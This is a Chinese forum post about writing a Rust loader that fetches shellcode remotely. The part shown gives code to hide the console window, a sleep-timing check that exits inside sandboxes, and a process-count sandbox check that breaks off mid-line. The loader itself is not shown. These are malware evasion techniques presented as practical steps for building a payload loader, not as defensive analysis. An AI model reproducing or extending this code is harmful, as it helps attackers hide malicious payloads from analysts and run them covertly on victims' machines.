Rust远程加载shellcode

打印 上一主题 下一主题

主题 881|帖子 881|积分 2643

学习rust, 练习写一个loader, 不足之处还请指教
编写

隐藏黑框

在注释掉所有打印语句后编译运行还是会弹黑框, 办理方法是头部添加一行(指定 Rust 编译器生成的可执行文件为 Windows 子体系应用步伐,而不是控制台应用步伐):
  1. #![windows_subsystem = "windows"]
复制代码

反沙箱

流速检测
  1. pub fn ft() {
  2.     use std::time::{Duration, Instant};
  3.     use std::thread::sleep;
  4.     let start_time = Instant::now();
  5.     sleep(Duration::from_millis(5000));
  6.     let elapsed_time = start_time.elapsed();
  7.     if elapsed_time.as_millis() < 5000 {
  8.         std::process::exit(1);
  9.     }
  10. }
复制代码
检查历程数
[code]pub fn pc() {    let mut system = System::new_all();    system.refresh_all();    let process_count = system.processes().len();    if process_count
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

盛世宏图

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表